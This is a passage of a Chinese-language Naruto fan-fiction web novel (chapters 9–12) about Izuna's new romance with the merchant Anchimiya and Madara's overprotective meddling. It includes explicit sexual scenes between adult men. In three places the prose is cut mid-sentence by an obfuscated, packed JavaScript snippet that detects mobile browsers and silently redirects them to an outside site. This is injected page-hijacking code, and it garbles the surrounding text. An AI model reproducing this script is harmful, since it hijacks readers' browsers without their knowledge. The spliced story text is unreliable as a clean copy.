所以在斑这么说之后,底下的族人很快就同意了这个方案。 而就在他们刚谈完这个话题,就出现了—— 敞开的窗户,安池宫的声音就像是循环播放的魔音一般传入了众人的耳中,本以为对方喊一会就消停了,结果却越演越烈。 感觉脑子就要被‘喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156251|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你’这句话霸凌了。 终于,火信长老忍不住的说:“族长,要不我去阻止一下他吧。还有泉奈,他是听上瘾了吗?不知道我们在开族会吗?” 泉奈平日里是个很顾虑族人心情的人,但对方遭遇这等大变,加上和安池宫的感情之路并不是那么顺利,现在得偿所愿,就算是想多听听人家热血青年的表白,也不是不能理解。 火信长老:好吧,我不想理解。就算是年轻气盛的小伙子,也给老夫消停一些! 斑抽了抽嘴角,关上窗户的说:“算了,泉奈开心就好。” 火信长老起身的动作一顿。一群快被魔音灌耳折腾得头昏脑涨的族人,也都眯着眼睛无语的盯着他们的族长。 ——感觉族长的弟控程度又升级了。 ——是觉得弟弟开心就好,不用管我们的死活了? “既然不阻止,那就来商量一下他们两个的婚事吧。”树希长老从容的道,“婚房准备好了,而且双方两情相悦,也算是见家长过了明路,我是建议这两天就把婚礼办了,毕竟五天后还有一场硬仗要打。” 就算是挑战书,而不是宣战书,也不代表轻松到哪里去。 斑听到这个来了劲:“那等泉奈听腻了,我去问问他什么意思。对了,婚礼要怎么准备?安池宫是孤儿,省去了上门提亲的步骤没错,但你们也看到了,那小子穿得花里胡哨的,性格张扬又是个受不了气的,估计是想要大办。你们有什么章程吗?” 对这个一涉及弟弟的事情,语死早的毛病就无药自愈的族长,树希长老已经习惯了:“先听听小池宫怎么想吧。如果他想大办,顶多就是族人辛苦一点。” 忍者的婚姻和普通人的婚姻不一样,一般都十分简单没那么多繁琐的规矩,但安池宫是普通人,规矩不一样,那就依他那边吧。 “小池宫?”火信长老对她这个称呼有点在意。 树希长老淡定的说:“我颜控,不行么?” 火信长老:“……他确实长得太张扬了。各方面都是。”不想理解都很难。 就连底下的族人都齐齐点头,至少外在这块也是得到他们一致肯定的。就是担心太闪了,对眼睛不太友好。而且性格明显和内敛稳重的宇智波一族的画风大不一样。 但泉奈大人喜欢,那就这样吧。总好过对方感情失利走极端要强得太多太多。 万花筒持有者的黑化buff,脑子正常的宇智波都不想亲身经受。 “啊,那边停了。”阿曼长老突然说道。 外面的魔音总算是停了,是件让人松口气的事情。阿曼长老喝了口茶,面无表情的说:“希望他们别闹腾太过,不过都是男生,不会怀孕,问题不大。” 其他人:= = ——不愧是您能说出来的话! 斑眨了眨眼,莫名其妙的说:“他们当然不会怀孕啊,女人才能生孩子吧。而且现在也没闹了,接下来也不会再闹了吧。” 其他人:= = ——也不愧是您能说出来的话。 火信长老揉了揉太阳穴,说道:“族长,你今天就别回去了,先睡我那边吧。” 斑一脸不乐意:“我有自己的家干嘛去你那边。而且我准备今天晚上和泉奈一起睡!”而且还要抱紧了睡!不然没安全感! 其他人,已经能做到心如止水,不再像刚才那样情绪起伏过大,挑战心理承受力的强度。 顶多就在心中疯狂的吐槽一下。 ——好歹是族长能不能别这么单纯,您的脑子除了训练和弟弟之外是再也装不下什么东西了对吧? ——还想和泉奈大人一起睡?睡你个头! 10. 第 10 章 安池宫终于消停了,因为屋里那个人也坐不住了。 被拉开的纸门,已经换好蓝色和服的人姿态端正的跪坐在榻榻米上,面色红润抖着双唇的看着院子里的安池宫,欲言又止。 猩红色的万花筒写轮眼,因为过度的羞耻,就连瞳孔内的纹路都在克制不住的颤动收缩着。 泉奈单手捂着唇,难言的低声说:“你够了吧……到底要说几遍啊。” 说不高兴是假的,但从小到大都内敛沉静的人,早就习惯了隐藏自己真正的心情。在过去的人生中,除了家族和亲人兄长之外,就没有其他特别在意过的东西。 只要是对家族和兄长有利的事情,适当的让步也是可行的。重视之人若能获得幸福,自己也会跟着开心起来。 但安池宫绝对是一个例外。不管是性格还是处事方式,都与他有着天壤之别,这个人估计也不知道,自己活成了许多人憧憬的模样吧。 拥有血继限界,出生于大忍族,相信着如果没有家族绝对没有今日的忍者,却遇到了一个不需要依靠任何存在,也能活得那般绚烂多彩的人。 如果世界有颜色的话,那安池宫这个人,肯定描绘出了浓重的让人无法忽略的强烈一笔,那一笔甚至跨过了边线,晕染到他的身上。 但是…… “不管说几遍都不够吧!”几步冲过来的人,郑重的双手放在榻榻米上,与泉奈仅隔着一只手就能触碰到的距离。 微微低着头的金发青年,白皙的脸上是无法掩盖的嫣红颜色,带着几分委屈的,抬眸看着端坐着的泉奈。 “我可是第一次遇到喜欢的人哦,以后也不会出现像泉奈这样会吸引我的人了。但是泉奈,一直都表现得很从容吧,每一步小心翼翼的试探都被你游刃有余的躲过去了,本来以为像你这样聪明的人应该早就发现,只是不想打破现有的关系才假装不知道,这样我也不好再继续再进一步……可是,什么啊……” 安池宫嘿嘿的笑了起来,平日里总是那般精明的人,现在笑起来的模样都透着几分傻气。“原来是我想错了,泉奈在这方面意外是个迟钝的人呢。” 泉奈:…… 他抿了抿嘴角,虽然脸色还是一样红润,到底带着几分不服气的说:“从容的人是你吧,我觉得自己表现得很明显了。” 他可是宇智波,在感情方面也拥有着族人共有的进攻性。“如果不喜欢的话,谁会每次辛辛苦苦完成任务之后,连休息都顾不上就去找你啊。我可没有那么清闲。再说了,我可不觉得你什么时候有试探过。” “啊?很多次了吧。”安池宫脸上的委屈更明显了,“虽然第一次见面的时候没什么感觉,只觉得你这忍者还怪热心肠的,没有传闻中的那么冷酷。但第二次见面的时候,我不是把我最喜欢的发带送给你了吗?正常来说,就算是送发带好了,又不是没有其他的发带,谁会直接拆自己头上的啊,你也说了那个很贵重吧,我可是商人,才不干赔钱的买卖。” 泉奈沉默了一瞬,半眯着眼睛带着些许恼怒的说:“你那时候是故意弄坏我的发绳吧。” 安池宫用力的点头:“嗯!你不束发的样子,也很好看!” 泉奈:嗯你个头,稍微反省一下啊!不反省也多少装一下啊! 安池宫:“还有还有,你没发现吗?我家里可是多了很多你的东西哦,专用的杯子,专用的餐具、毯子、笔墨,喜欢的想要东西但凡被我知道的,不都出现在你面前了吗?你有次说摆在会客室里的花瓶不好看,那你之后来有再见过它吗?” 泉奈:……那倒是没有。 不过他也只是以为那些不过是这小子为了讨好大客户的一种体贴手段而已,而且本身就是个很舍得开销的人,这些细节末支方面太难察觉了。 泉奈很努力的想要为自己开脱,但随着安池宫掰着手指一件件的数起他干过的事,到了最后也只能陷入自我怀疑。 ——但不可能啊,我怎么可能会那么迟钝! “我说我要找个富婆,你竟然那么认真分析了可行性。连男的你都一块儿分析了,但正常来说,谁聊天会聊这种事啊,我们又不算是朋友,顶多算是因为业务关系私交比较频繁而已。” 安池宫数到这里,对着越发心虚而视线飘移的泉奈笑道:“但没关系,我原谅你了!如果早知道钱多多是你的忍猫,我就发现了。但就像泉奈说的那样,你也做出努力,我却一次都没有察觉,所以我们算是扯平了!” 泉奈吞吞吐吐,就像是得救一般的说:“那、那就扯平了吧。” 不扯平的话,他觉得自己都要开始怀疑自己的智商和洞察力了。忍者的专业性已经受到了强烈的质疑,自尊心也在岌岌可危的临界点了。 “那么接下来……”对着这个心虚得头越低越低的忍者,安池宫弓腰,低头凑到对方的面部下方,一双湖绿色的眼眸就像是清晨的湖面一般,闪着璀璨的光辰。“可以亲你吗?” 泉奈:…… 他没说话,但安池宫可不想错过每一次机会:“你想想哦,我们就亲了两次,第一次不能算的吧,那是救人,就跟人工呼吸没两样,而且当时太急了,我压根没什么实感。第二次就不说了,你那个顶多就叫做贴贴,不算亲吻吧。” 泉奈觉得不对:“舌头有伸进去吧。” 安池宫:“就舔那么一下,接吻不是这样的吧。” 泉奈皱眉,虽然看不出有什么生气的模样,但语气却是低沉了不少:“听起来你对这种事很懂。所以之前说的初吻是骗人的?” 低气压已经冒出来了。 安池宫却好像没感觉到他的怒气,茫然的瞪着大眼说:“啊?没骗人啊。但这种知识稍微看点小说就知道了吧。” 末世出品的神作,素来都是又暴力又簧的。不过处在那种情况下,人性方面早就压过了伦理,用书面表现出来的画面更是如此。 唯一能让人肯定的是,毕竟是依托在‘增强精神抗压力’的理由上诞生的文学作品,就算过程再怎么样,最后的结局都是要符合‘正常伦理道德’的。恶人要受到最严厉的惩罚,好人必须苦尽甘来。 如果连这点底线都不遵守的话,那就真的是在群魔乱舞的基础上再培养出一大批反社会狂徒了。 安池宫觉得自己的性格这么稳定阳光,都是多亏那些小说给他注入了健康积极向上的三观。不然末世公认的第一反骨仔,可能就要变成公认的第一魔头。 泉奈再次陷入沉默。他觉得今天的自己语死早的次数特别多。 因为他想到了之前安池宫说的那些奇奇怪怪类型的小说。光是听就知道那些小说不是什么正经人该看的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156252|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泉奈:……这小子不会对那些东西有兴趣吧? 小黑屋强制爱什么的倒是好说,但虐身虐心还有人、人那个恋,实属没必要。人鬼恋倒是可以。 当然前提是这个世界真的有鬼。 被盯得实在难受,不想彻底落在下风的某忍者,终于妥协般的抬起头来,对着只差枕在他膝盖上的人说:“随便你吧,而且就目前我们两个的情况,这种事没必要事先问。” 他觉得就现在的关系,问这些问题没必要,还会徒增羞耻感。 安池宫:“哎,要问的吧。”他直起上身,严肃认真的对泉奈说,“就算是确定关系了,也不能仗着你对我的爱意就放肆乱来哦。我可是很尊重泉奈的意愿,如果不愿意的话,是绝对不会干的。” 泉奈:…… 语死早的毛病要犯了。脸也已经烫得可以煎鸡蛋了。 ——醒醒,我又不是斑哥!我的舌头才没有那么愚钝! 虽然早在之前就知道这小子某方面的价值观很固执,固执到和忍者更甚至普通人,都像是不同维度的差距。 但估计也没有人会不想被人尊重吧。虽然这类的问题……其实他不是很想要那种固执的尊重。 泉奈觉得头疼,到底还是没表现出来这方面的拙劣,只能闭上眼睛,闷闷的说:“我说可以,这样行了吧?” 虽然这小子说得理论知识很丰富的样子,但泉奈认为对方顶多就是比他刚才的表现要大胆一些。 却没想话音刚落,他放在膝盖上的双手就被对方的一只手紧紧攥紧。比自己要宽大的手掌,攥紧了两只手腕,身体被推动着往后仰,双手也被强硬的压在榻榻米上。 没有预想中后脑勺落地的疼痛,而是被另一只手的手心护着。 都能感觉到那手心传递过来的温度,热得让人发紧。 泉奈半睁开眼,看着顶上的人。 安池宫狡黠的笑着,居高临下的将人压在身下,缓缓的俯下身子,脸的距离近到连对方脸上细微的绒毛都能剐蹭到皮肤。 “这可是你说的哦~”嗓子发哑的人如此说着,余下的声音尽数被吞没在交叠的唇瓣之中。 紧贴的双唇,被吐息侵略的防线,探入口腔的舌尖在缓缓仔细的搜刮着他人领地的每一寸,这一切都带着克制试探的意味。好似刚闯入他人境地的独狼,在攻略城池之前,会先将地形探索得清清楚楚,等找到敌人的弱点之后才放纵的进攻。 舒不舒服的不知道,但被这样的对待属实是人生头一次。大脑运转的速度,跟不上心跳失衡的频率。蒸腾的热气也让人大脑发涨。 已经到了难以呼吸的地步,上方的人才好像是终于搜集完情报的斥候一般,舍得放过丢盔卸甲的敌人。 舔了舔嘴角,就像是回味一般的,面部潮红的看着底下的忍者。 “可真是夸张的表情呢……”他嗤嗤的低笑着,那张艳丽得雌雄莫辩,仿若被神明精雕细琢过的面庞,目若星辰,注意到底下人眼神的变化,不怀好意的再次俯身,低哑的嗓音就像是拉响的陈年乐器一般,发出酥麻的强磁般的颤音。“注意到了哦,你很喜欢我这张脸吧?” 他说着:“那试着更喜欢一下怎么样?让这张脸露出没有其他人见过的神态,喜欢接受挑战的你也会感到自得的吧,忍·者·大·人。” 11. 第 11 章 煽动得有点过头了。 安池宫嬉笑着任由这名忍者反客为主的将他掀翻在地,压倒在铺满月色的屋外长廊之上。 被彻底勾起征服欲的忍者,散发着寻常人见了会反感的掠夺者的气息。与安池宫方才温柔的方式不同,忍者的亲吻更像是猛兽攻略城池的厮杀,已经到了让人觉得难受和疼痛的地步。 就连嘴唇都被咬出了血迹,含着血腥味的亲吻在唇间交替,但安池宫并不讨厌。他甚至可以算得上是十分配合了,双手摊开,整个人放松的四肢大张的躺在地板上,任由着对方进食般的啃咬。 埋在脖颈间的后脑勺,留下了一片坑坑洼洼的齿痕,但安池宫就像是被取悦了一般,这时候还能笑出来,还将手放在对方的后脑勺上,似乎鼓励和安抚一般的轻轻摩挲着。 上身的衣服已经被撕毁,顶着大腿的膝盖磨蹭着,一切都在朝着失控的方向发展。 因为很可爱,所以没关系。 安池宫心里这么想着。放在对方后背上的左手,转而一路往下,探进和服下摆。很好,里面压根什么都没穿。 ——该不会预谋已久了吧? ——不愧是忍者,是行动派。 “我啊,不管泉奈对我做什么,都会愉悦的接受哦……”安池宫低笑着,对在他身上作乱的人发出诱导般的声音。“你想吃掉我吗?那你可以吃得更彻底一点……” 嗓音发哑,就连呼吸都变得粗重。修长无茧的手指意有所指的落在了某个地方,轻轻的在边缘揉捏按压着,已经暗示得相当明显了。 泉奈抬起头来,带着几分野性,被安池宫称为夸张的表情,用连眼眶都一片通红的眼睛羞恼的瞪着他:“你可真是恶劣。” “彼此彼此。”安池宫一点都不知道反省。“需要帮忙吗?总不至于连囚禁我的婚房和大床都准备好了,还没做好事先的理论功课吧?” 泉奈:…… 那必定是不可能的。功课做得足足的。还特地跑去吉原观摩过。 虽然看没几眼就觉得辣眼睛离开,但该怎么做还是很清楚的。他咬着已然红肿的下唇,就像是豁出去一般的说:“后悔的话我也不会停下。” “那可真是从容呢。”安池宫眼角也是一片深红,“我对泉奈的爱意,可丁点不比你对我的要少哦。不过还是要请你温柔一点,大家都是男人,你应该知道那里还是挺脆弱的。” 泉奈嗤笑一声,瞥了一眼那个早就蓄势待发的地方,觉得对方太装。他干脆的起身,往敞开的门里走去,从角落的抽屉里翻找着什么东西。放的地方比较隐秘,估计是担心被其他人看见,所以动作虽然急切,但一时半会没能及时取出。 安池宫坐起上半身,看着那个努力的身影,舔着流血的嘴角,身体都在隐隐的发抖。 正当泉奈已经找到自己想要的玻璃瓶时,突然听到外面传来声音。 “安池宫,你怎么会在泉奈房间的门口?” 安池宫/泉奈:?!! 两人就像是炸毛一般的,身体很是默契的一颤,就连头发都像是静电一般的有几簇朝外自由的伸张。 安池宫扭动着僵硬的脖子,对上了正从拐角那边信步走过来的宇智波斑的脸。对方双手插袖,眼里还有几分疑惑。 “你不是要睡床吗?十二点都过了,不想长高了?”说着又皱眉,“你这衣服怎么回事?” 安池宫手忙脚乱的想要遮挡自己,但泉奈刚才的动作过于暴力,直接撕掉了胸前一大块的布料,甚至都可以看到底下黑色的底裤边沿。 他用剩下的布料和自己的双手,尽可能的挡住身体,但某人似乎压根没有什么自觉,还是询问着:“你嘴巴怎么回事?受伤了?胸口怎么那么多淤青,谁打你了?” 宇智波斑的眼睛危险的眯了起来。 在他看来安池宫已经是自己弟弟的人,虽然还没进门,但也已经是需要守护的家人。自然不能容忍有人欺负了对方。 说着又道:“泉奈呢?怎么在屋里,里面还有谁?” 忍者的感知能力很强,能发现安池宫没有查克拉,自然能感应到屋内有泉奈的查克拉。眼里的万花筒写轮眼幽幽颤动着,让他疑惑的是,屋内除了泉奈以外没有其他人在,更没有其他人的查克拉残余。 终于意识到什么的斑,在快到门口的时候停下了脚步。他惊疑不定的看着心虚得面红耳赤,活像是刚被糟蹋过又羞耻于被发现的安池宫。再隔着门板看向了屋内的泉奈的位置。 正当安池宫以为对方搞明白什么情况,想找个地洞把自己埋了的时候,就听到斑用复杂的动摇非常的表情语气说:“泉奈,对喜欢的人不能这么粗暴。我们家可容不得家暴这种败坏门风的事。” “才不是,斑哥我没有!”泉奈从屋里冲出来,急忙证明自己的清白。气喘吁吁的模样,除了嘴巴跟被狗啃过一样,也没什么其他异常。 斑很想相信他,但是人证就在面前。他现在大脑里已经快速的反省着自己对弟弟的教育是不是哪里出了差错。 而安池宫已经抓起了刚才被泉奈撕掉的布料,挡住胸口的位置,又蜷缩起膝盖,慌忙的道:“大舅咳咳、大哥你误会了,我之前不是和族人们闹了一架吗?所以才有伤,泉奈只是太心急了把我衣服扯坏了!” 斑:…… 他思考着当时族人有没有不小心伤到安池宫。但当时的情况十分混乱,他为了阻止那些想用幻术的族人,确实有那么几秒钟注意力没有放在安池宫身上。 所以是那个时候受伤的吗? 他啧了一声:“那些家伙搞什么啊,我都说了你是泉奈的丈夫,竟然还下手这么狠。”又看向了泉奈手里的玻璃瓶,“这是伤药吗?怎么是透明色的?” 泉奈欲哭无泪的将那个瓶子丢给安池宫,安池宫差点没抓住。 泉奈:“是伤药没错。” 斑:“还是第一次看到这种伤药。” 泉奈:“是药酒的一种。” “这样啊。”斑没纠结这个问题,只要知道弟弟没犯错误就行了。不然哥哥大人真的会心碎的开始检讨自己的教育哪里出了问题,也不好再平常心的面对还没嫁进来就疑似被家暴的安池宫。 他自认为一场家庭危机是自己的幻觉,就走上前去,动作十分娴熟的将泉奈褪到肩膀处的衣领拉起来,又给他整理好凌乱的和服,大腿岔开的布料也拉好。“都几岁了,怎么连衣服都穿不好。” 整理好后,才用指背亲昵的刮了刮泉奈的鼻子:“眼睛也这么红,是被这小子的告白吓到了对吧?确实,族人那边也听见了,还在抱怨着要来找你们理论呢,不过被我挡下来了。” 泉奈感动的瘪着嘴角,拉着对方的衣角小声说:“……谢谢斑哥。” 不敢想象那些人过来看到他和安池宫在走廊上亲热的画面,会是什么表情。 安池宫松了口气,见泉奈已经吸引走了斑全部的注意力,正想拿着证物偷溜的时候,刚转身就听到斑说:“你别走。不是要上药吗?我来吧。别看泉奈平时看起来很可靠的样子,他连被子衣服都懒得叠,都是直接扔壁橱了事。上药就更别说了,都是我来做的。” 泉奈:…… ——啊啊啊斑哥,您在说什么啊! ——哪有这样揭人短处的。 偏生安池宫还一脸赞同的说:“发现了,上次下雨淋湿时,在我家里换衣服,他还想把湿掉的衣服叠好带回去,叠出来的样子简直不能看。不过很可爱,所以没关系。” 斑顿时乐了,嘴角上扬:“泉奈确实很可爱。” 泉奈:宇·智·波·安·池·宫!!! ——你到底知不知道斑哥接下来想干嘛!不要挑起他的谈兴啊! 但斑的谈兴已经被全然挑起来了,走过去坐在长廊上,还拉着想开溜不成的安池宫坐下。宇智波第一强者的体术也是第一,伸手就要去抓安池宫手里的‘药瓶’。 安池宫,敏捷的躲开对方的手。 斑微愣。 速度太快了,就算是拥有写轮眼,他也一时间没能看清对方的手速。之前对方勇闯会堂的时候,他就知道这小子体术高强,一般忍者还奈何不了他。 而现在…… 斑认真起来,目标直指对方手里的瓶子。两个人无声的为了个玻璃瓶而斗了起来,单纯体术和手速的较量,最后甚至连脚都用上了,扭摔在一起。 “臭小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15156253|164954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼,想和我斗你还早一百年呢!” “我才不臭!大哥才是,这点事情就认真起来太没有一家之主的样子了!” “你还知道我是一家之主啊!进我家的门你和泉奈都得听我的,药瓶给我!” “不给不给就不给!” “我是要为你疗伤!” “让泉奈来就好了!还有大半夜的别来打扰弟弟们睡觉啊!有点自觉啊!” “什么自觉不自觉的——” 斑理直气壮的说:“作为兄长,来找弟弟一起睡觉不是应该的吗?!你才是,都还没进门呢,给我去睡你的两米大床去!” 安池宫:?!! 瞳孔地震。 ——我都还没和泉奈一个房间里睡过,凭什么你就可以啊!!! 他深吸口气,大声的喊着:“凭什么大哥就可以和泉奈一起睡,我也要一起睡!” 斑额角冒出青筋:“我和泉奈睡觉你来凑什么热闹!只有一床被子,没你的地方!” 安池宫瞳孔地震得越发厉害:“你竟然还要和泉奈一个被窝睡觉!” 斑:“那不然呢!一个被窝塞不下三个人,你就放弃吧!” 安池宫:“那我抱着泉奈睡,挤挤就行了!” “是我抱着泉奈!你滚开!” “你是什么级别的弟控啊!泉奈都这么大了,不需要哥哥抱!” “那他也不需要你抱!” “我是他老公,我可以!” “我是他哥,我更可以!以前都是这么干的!” “那以后只能我来干啊——!!!” 泉奈:“……” 一个身影神出鬼没的出现在他身后。火核的嘴角和眉角就像是跳踢踏舞一般的抽搐得厉害,感觉面部神经都要负荷太重即将崩溃。 他低声的说:“泉奈大人,火信长老说你们再吵下去,他就要过来了。还有其他族人也是,大家都要休息的。” 大半夜的,遭了这么多事,一个个疲惫不堪的,就算是忍者也不是铁打的,都是需要睡觉的。 泉奈已经麻了,指着那两个还在吵嘴做拉锯战的人,语气虚弱的说:“你跟他们两个说吧。” 火核的视线落在了两人争执源头的玻璃瓶上,三勾玉的写轮眼快速的旋转,在脑部活动极为剧烈之下,勾玉融合成几何图案。 看得很清楚的泉奈:“……收回去,当你没来过。” 火核:“……好歹是万花筒,顶多不告诉别人是怎么觉醒的。” 泉奈:“……”你过来一趟就觉醒了,就算不说也会有人猜到的好不好! 什么破万花筒,当年他和斑哥觉醒的时候明明不是这样的!难不成还和使他复活的安命蛊有关系吗?!那蛊还能外放的吗! 不要因为奇奇怪怪羞耻的理由觉醒啊!真的有被迫害到! 最后,在火核祭出天色已晚的理由并从其他房间找来两套被褥,还上手将三套被褥并排铺好之后,止住了这次扰民的争吵。 “泉奈大人睡中间,你们一人一半,能接受不?”他如此问着。 已经吵累了的二人:“可以。” 斑看了眼安池宫胸口已经变得很淡的‘淤青’,啧了一声说:“差点忘了还有那个蛊。真是的,泉奈就是太紧张你了,明明用不上药酒。” 安池宫把瓶子塞进了自己铺位的枕头底下,面色自然的说:“所以我都说不用了,好了睡觉吧,我还小,还想再长高的。” 斑嫌弃:“都这么大块头了还执着于长高,还是个小鬼啊。” 安池宫:“是已经能结婚的大鬼了哦,亲·爱·的·大·哥!” 火核请泉奈进去,贴心的关上拉门,面无表情的同手同脚的朝着大门的方向走去。 不知道是在感叹自家族长的纯真,还是感叹族长家的新赘婿不仅脸皮厚还特别能忽悠。 不过……族长向来挺容易受骗的,这点小细节就可以忽略吧。 ——泉奈大人,就算对方真的是十分罕见的闪亮亮的大美人,也要悠着点啊!还没结婚呢,控制好自己啊!!! ——还有那种东西,还没交往就提前准备好了吗?蓄谋已久了吧! 12. 第 12 章 睡不着。 泉奈睁着眼睛望着天花板,在思考着自己为什么会沦落到这个境地。左边是自家斑哥,一手搂着他的脖子,将他的头抵在对方的胸膛,睡得香甜。 右边是安池宫,就像是树熊一般的抱着他的右手,整个人蜷缩成一团,估计是因为睡地板不太习惯,皱着眉头睡得不是很安稳的样子,额头抵着他的太阳穴,呼吸都拍在他脸上。 泉奈:…… 还真的是一人一半被瓜分得很干净。但两个都是重要之人,他谁都不能怪,那就只能从自己身上寻找问题。 性格内敛稳重擅长反思的宇智波副族长大人,硬是想破脑袋都想不出为什么自己要经历这种痛事。 他是知道自家斑哥这次是被吓坏了,所以来找他睡觉很正常。可问题是右边这个就不应该在这里! 这小子在这里,他哪里睡得着! 满打满算,正式确定感情还不到一天时间,虽然后、不,正确来说明天就要结婚了,今天就要开始准备婚礼了。 但……可恶,这小子不是说喜欢我吗?还喊得那么情深意切,为什么第一天就能够这么自然的睡在他旁边? 泉奈死死的皱着眉,偏头看向了这个毫无自觉的家伙。看着看着,不得不承认……对着这张脸压根无法生气。他想抬手去抚平对方眉宇间的皱褶,可惜两只手都动弹不得。 “嗯……”似乎是感觉到泉奈的怨念,安池宫迷糊着睁开眼睛,湖绿色的眼眸先是一阵迷茫的失焦,好一会儿才定焦在泉奈脸上。 泉奈:…… 幸亏这小子不是忍者,不然就这警惕心,得多让人操心。 安池宫的眼里逐步清明,和泉奈大眼瞪小眼了好一会,瞥了一眼睡得香沉的斑的脸,张嘴无声的用口型问:“睡不着吗?” 泉奈用眼神表示‘这是眼睛都能看得出来的事情吧’。 安池宫眨了眨眼,笑了笑。舒展了被窝里蜷缩起来的身体,凑过去亲了亲泉奈的眉角,又落在他的嘴唇上。 没有深入。免得把斑吵醒。 细细密密的啄吻着,就着窗外洒进来的月光,看着泉奈的脸逐渐被染上一层艳丽的粉色,无声的笑了起来。 迎来的便是恼怒之人不轻不重踹过来的一脚。 安池宫随手抓住对方的脚,在他的脚踝轻轻捏了捏,朝着他无声的说:“我来帮你入睡吧。” 说着手探进对方的被窝里,在泉奈的不解中,猛地抓住了样东西。 泉奈:?! ‘小声点,别把大哥吵醒了。’安池宫用口型无声的说着。 一点都不懂反省为何物的奸商,仗着泉奈不敢吵醒宇智波斑,就越发的放肆起来。为了避免泉奈发出声音,唇紧紧的贴着对方的双唇。 泉奈死死的咬着下唇,黑色的瞳孔又转为了深沉的红色,如果不是身上不带半点杀气,安池宫觉得自己都要被对方的眼睛杀死了。 他探出舌头,去舔那双被咬的发肿的唇瓣,细心的将对方险些吐出的声音吞没。因为担心吵醒另一个人,没有加深这个吻,就连手下的动作也不紧不慢的轻缓温柔。 含笑的眉眼看着这个快被强烈的羞耻感淹没的忍者,觉得差不多够了,他才一口咬在对方的下唇,用牙齿轻轻研磨着,吮吸着对方的唇珠,直到双唇晶莹透亮水光淋漓才舍得抽离。 泉奈的瞳孔已经因为过度的刺激而剧烈的收缩着,这点子抚慰根本起不了什么像样的作用。 安池宫只在心里夸一声——不愧是忍者。 还真的把声音都忍住了。 但好歹是喜欢的人,总是不忍心欺负太过。他心里毫无诚意的如此想着,转而掀开泉奈的被角,半边身体探了进去。 过了好一会才从被子里出来的人,脸颊微鼓,如天鹅颈般细长优雅的脖颈高高仰起,垂眸看着被窝里已经浑身僵硬,汗湿额发的忍者。 细长的眼眸微微眯起,含着恶作剧般狡黠的笑意,浓卷的睫羽轻颤着,只听到咕噜一声,喉结鼓动,是吞咽的声音。 这个行为看起来不是很容易,接连咽了好几次,等终于成功时,一双绿眸已经浮上了水汽,泪眼朦胧的看着躺在被窝里的爱人,脸上还带着几分像是被欺负过一般的脆弱和委屈。 他张开嘴,伸出半截红舌,好让死死盯着自己的人能够看清并检验成果。又舔了舔嘴角的残余,无声的用口型说:‘多·谢·款·待~’ 做完这一切,自认为已经服侍并安抚到位的人,很没自觉的又蜷缩起身子,抱着泉奈的右手阖眼睡过去。这回倒是不皱眉了,就好像是梦到了什么好事一样,脸上都带着明显的笑意。 泉奈:……O 。O 他突然发现,在这块领域里,在安池宫面前,他简直就是个刚上战场的菜鸟忍者。 已经不仅是脸了,身上升腾的热度已经快把他蒸熟了。 ——这不是更睡不着了吗?! 竖日清晨,秉着顽固的生物钟,斑伸着懒腰坐起身,舒展完身骨之后,斜眼看向躺在侧旁的人。 醒来第一眼看见的就是弟弟的睡颜,温热的柔软的,有呼吸有心跳的弟弟,对于斑而言这个世界应该没有比这更高兴的事情了。 直到被一只摊开五指的手捂住了脸,这份胸口泛热的喜悦才化为了浓厚的无语,没好气的眯着眼看着屋里多出来的第三个人。 “好歹也长着一张好看的娃娃脸,也没必摆出这么凶的表情吧。”安池宫抽回贴在对方脸上的手,慢慢的坐起身,打着哈欠小声说,“泉奈估计一时半会不会醒,大哥,我要洗漱,要吃早饭。” 斑:“……知道了。” 昨晚明明还拌嘴大吵了一通,这小子隔天就表现得没有那档子事一般,不仅自来熟的,撒娇都信手拈来。 要不是本人就在面前,他完全无法想象泉奈怎么会挑了个和宇智波画风差异如此之大的人。 反倒是安池宫,倒是觉得斑的脾气挺好的。第一次见面的时候就感觉对方很难相处,也就涉及到弟弟的事情时才会有明显的情绪起伏。而现在却真的带着他去洗漱。 这种宅子洗手间一般都不会设在屋内,但好在洗漱台够大,站下两个成年男人也不显得拥挤。 洗漱完,擦了脸,解开睡了一晚已经凌乱的束发,安池宫咬着发带一边用手指梳理头发,一边哼声对正在和头发较劲的斑说:“大哥,你头发这么多没想过剪吗?还有,看起来发质挺好的,怎么那么难梳,平日没用点顺发膏之类的?” “啰嗦。”好不容易把一头长发梳好的宇智波斑没好气的道,“男人才不需要那些东西。” 安池宫已经三两下绑好了低马尾,对着镜子拨弄着刘海,说道:“也不能这么说吧,适当的保养还是有必要的。保持良好的形象能提升他人的好感,开口请人办事也会变得方便一些吧。” 斑只觉得这小子太娇气了,刚才还问他有没有洗面奶、补水面霜之类的东西,他随手扔块肥皂过去对方还不乐意了。 他硬邦邦的说:“只要够强,压根不用请,他们自己会知道怎么做。” 